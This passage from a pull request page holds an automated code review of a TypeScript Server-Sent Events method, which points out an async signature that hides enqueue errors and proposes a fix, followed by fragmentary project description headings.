effect’s stable dependencies, enforces maxReconnectAttempts, and applies
exponential backoff for each retry.
| async sendToClient(clientId: string, type: string, data: any) { | ||
| const client = this.clients.get(clientId); | ||
| if (!client) { | ||
| throw new Error("Client not found"); | ||
| } | ||
|
|
||
| try { | ||
| const eventString = `event: ${type}\ndata: ${JSON.stringify(data)}\n\n`; | ||
| client.controller.enqueue(this.encoder.encode(eventString)); | ||
| client.lastPing = Date.now(); // Update last ping time on successful send | ||
| return true; | ||
| } catch (error) { | ||
| logger.error("Error sending to client", { error, clientId }); | ||
| this.removeClient(clientId); | ||
| throw error; | ||
| } | ||
| } |
There was a problem hiding this comment.
🩺 Stability & Availability | 🔴 Critical | 🏗️ Heavy lift
The async signature hides synchronous enqueue failures from callers.
controller.enqueue is synchronous. Marking sendToClient as async converts its throw into a rejected promise. The consumer in src/app/api/sse/route.ts wraps the call in a synchronous try/catch:
try {
sseState.sendToClient(clientId, "ping", { timestamp: Date.now() });
} catch (error) { /* never reached */ }
The catch never runs. The interval is never cleared, the client is never removed, and Node reports an unhandled rejection. src/app/api/sse/send/route.ts lines 19-22 has the same unawaited-call pattern.
Make sendToClient and broadcast synchronous, then update the callers. Also replace data: any with unknown to satisfy @typescript-eslint/no-explicit-any.
🐛 Proposed fix
- async sendToClient(clientId: string, type: string, data: any) {
+ sendToClient(clientId: string, type: string, data: unknown) {
const client = this.clients.get(clientId);🧰 Tools
🪛 ESLint
[error] 138-138: Unexpected any. Specify a different type.
(@typescript-eslint/no-explicit-any)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/features/sse/server/state.ts` around lines 138 - 154, Make sendToClient
and broadcast synchronous so synchronous enqueue errors propagate to existing
try/catch callers; update both SSE route call sites to use the synchronous API
and preserve their cleanup behavior. Change sendToClient’s data parameter from
any to unknown, and adjust related broadcast typing as needed without
introducing unhandled promises.
Source: Linters/SAST tools
Loom walkthrough:
Loom
Server-Sent Events (SSE) Implementation
A Server-Sent Events (SSE) system with heartbeat mechanism, connection management, and real-time event broadcasting. Built with T3 Stack principles, clean architecture, type safety, and modular design.
Features
Core Components
1. State Management (
server/state.ts)2. tRPC Integration (
server/router.ts)3. Client Hook (
hooks/useSSE.ts)4. Stream Endpoint (
/app/api/sse/route.ts)Error Handling
Client-side
Server-side
Testing
The implementation can be tested using the SSE demo page at
/sse-demo.Test Scenarios
Connection Management
Event Handling
Error Scenarios
Performance Considerations
Security
Dependencies
Summary by CodeRabbit
New Features
Documentation
Bug Fixes